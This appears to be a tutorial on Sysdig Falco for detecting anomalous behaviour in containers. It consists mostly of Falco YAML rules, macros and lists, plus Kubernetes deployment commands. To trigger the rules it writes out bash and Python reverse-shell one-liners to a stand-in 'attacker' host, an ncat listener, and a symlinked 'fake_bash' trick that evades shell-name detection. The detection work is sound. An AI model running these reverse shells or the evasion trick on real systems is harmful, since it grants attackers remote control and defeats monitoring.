探索Sysdig Falco：容器环境下的异常行为检测工具

- rule: Terminal shell in container # 规则名：必须是独一无二的名称
  desc: A shell was used as the entrypoint/exec point into a container with an attached terminal. # 描述文字：对规则的详细说明
  condition: > # 条件：用来筛选事件的过滤表达式（Falco采用Sysdig的过滤语法）
    spawned_process and container
    and shell_procs and proc.tty != 0
    and container_entrypoint
  output: > # 输出信息：与规则匹配的事件发生时，输出的告警信息
    A shell was spawned in a container with an attached terminal (user=%user.name %container.info
    shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline terminal=%proc.tty container_id=%container.id image=%container.image.repository)
  priority: NOTICE # 优先级：表示该事件严重程度，是一个枚举项，枚举范围为['emergency', 'alert', 'critical', 'error', 'warning', 'notice', 'informational', 'debug']
  tags: [container, shell, mitre_execution]

sudo apt-get install linux-headers-$(uname -r)

git clone https://github.com/falcosecurity/falco/
cd falco/integrations/k8s-using-daemonset

kubectl apply -f k8s-with-rbac/falco-account.yaml

kubectl apply -f k8s-with-rbac/falco-service.yaml

mkdir -p k8s-with-rbac/falco-config
cp ../../falco.yaml k8s-with-rbac/falco-config/
cp ../../rules/falco_rules.* k8s-with-rbac/falco-config/
cp ../../rules/k8s_audit_rules.yaml k8s-with-rbac/falco-config/

kubectl create configmap falco-config --from-file=k8s-with-rbac/falco-config

kubectl apply -f k8s-with-rbac/falco-daemonset-configmap.yaml

kubectl logs -l app=falco-example

kubectl attach falco-daemonset-77gct

docker exec -it b769 /bin/bash

- rule: Terminal shell in container
  desc: A shell was used as the entrypoint/exec point into a container with an attached terminal.
  condition: >
    spawned_process and container
    and shell_procs and proc.tty != 0
    and container_entrypoint    
  output: >
    A shell was spawned in a container with an attached terminal (user=%user.name %container.info
    shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline terminal=%proc.tty container_id=%container.id image=%container.image.repository)    
  priority: NOTICE
  tags: [container, shell, mitre_execution]

  condition: >
    spawned_process and container
    and shell_procs and proc.tty != 0
    and container_entrypoint    

- list: shell_binaries
  items: [ash, bash, csh, ksh, sh, tcsh, zsh, dash]
- macro: spawned_process
  condition: evt.type = execve and evt.dir=<
- macro: container
  condition: (container.id != host)
- macro: shell_procs
  condition: proc.name in (shell_binaries)
- macro: container_entrypoint
  condition: (not proc.pname exists or proc.pname in (runc:[0:PARENT], runc:[1:CHILD], runc, docker-runc, exe))

  condition: >
    spawned_process and container
    and shell_procs and proc.tty != 0    

ncat -l -p 10000

falco

bash -i >& /dev/tcp/attacker/10000 0>&1

- rule: System procs network activity
  desc: any network activity performed by system binaries that are not expected to send or receive any network traffic
  condition: >
    (fd.sockfamily = ip and (system_procs or proc.name in (shell_binaries)))
    and (inbound_outbound)
    and not proc.name in (systemd, hostid, id)
    and not login_doing_dns_lookup    
  output: >
    Known system binary sent/received network traffic
    (user=%user.name command=%proc.cmdline connection=%fd.name container_id=%container.id image=%container.image.repository)    
  priority: NOTICE
  tags: [network, mitre_exfiltration]

- macro: system_procs
  condition: proc.name in (coreutils_binaries, user_mgmt_binaries)
- list: shell_binaries
  items: [ash, bash, csh, ksh, sh, tcsh, zsh, dash]
- macro: inbound_outbound
  condition: >
    (((evt.type in (accept,listen,connect) and evt.dir=<)) or
     (fd.typechar = 4 or fd.typechar = 6) and
     (fd.ip != "0.0.0.0" and fd.net != "127.0.0.0/8") and
     (evt.rawres >= 0 or evt.res = EINPROGRESS))    
- list: coreutils_binaries
  items: [
    truncate, sha1sum, numfmt, fmt, fold, uniq, cut, who,
    groups, csplit, sort, expand, printf, printenv, unlink, tee, chcon, stat,
    basename, split, nice, "yes", whoami, sha224sum, hostid, users, stdbuf,
    base64, unexpand, cksum, od, paste, nproc, pathchk, sha256sum, wc, test,
    comm, arch, du, factor, sha512sum, md5sum, tr, runcon, env, dirname,
    tsort, join, shuf, install, logname, pinky, nohup, expr, pr, tty, timeout,
    tail, "[", seq, sha384sum, nl, head, id, mkfifo, sum, dircolors, ptx, shred,
    tac, link, chroot, vdir, chown, touch, ls, dd, uname, "true", pwd, date,
    chgrp, chmod, mktemp, cat, mknod, sync, ln, "false", rm, mv, cp, echo,
    readlink, sleep, stty, mkdir, df, dir, rmdir, touch
    ]
- list: user_mgmt_binaries
  items: [login_binaries, passwd_binaries, shadowutils_binaries]
- list: login_binaries
  items: [
    login, systemd, '"(systemd)"', systemd-logind, su,
    nologin, faillog, lastlog, newgrp, sg
    ]
- list: passwd_binaries
  items: [
    shadowconfig, grpck, pwunconv, grpconv, pwck,
    groupmod, vipw, pwconv, useradd, newusers, cppw, chpasswd, usermod,
    groupadd, groupdel, grpunconv, chgpasswd, userdel, chage, chsh,
    gpasswd, chfn, expiry, passwd, vigr, cpgr, adduser, addgroup, deluser, delgroup
    ]
- list: shadowutils_binaries
  items: [
    chage, gpasswd, lastlog, newgrp, sg, adduser, deluser, chpasswd,
    groupadd, groupdel, addgroup, delgroup, groupmems, groupmod, grpck, grpconv, grpunconv,
    newusers, pwck, pwconv, pwunconv, useradd, userdel, usermod, vigr, vipw, unix_chkpwd
    ]

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker",10000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

ln -s /bin/bash /tmp/fake_bash

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker",10000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/tmp/fake_bash","-i"]);'

- rule: Modify Shell Configuration File
  desc: Detect attempt to modify shell configuration files
  condition: >
    open_write and
    (fd.filename in (shell_config_filenames) or
     fd.name in (shell_config_files) or
     fd.directory in (shell_config_directories)) and
    not proc.name in (shell_binaries)    
  output: >
        a shell configuration file has been modified (user=%user.name command=%proc.cmdline file=%fd.name container_id=%container.id image=%container.image.repository)
  priority:
    WARNING
  tag: [file, mitre_persistence]

chmod u-w ~/.bash_history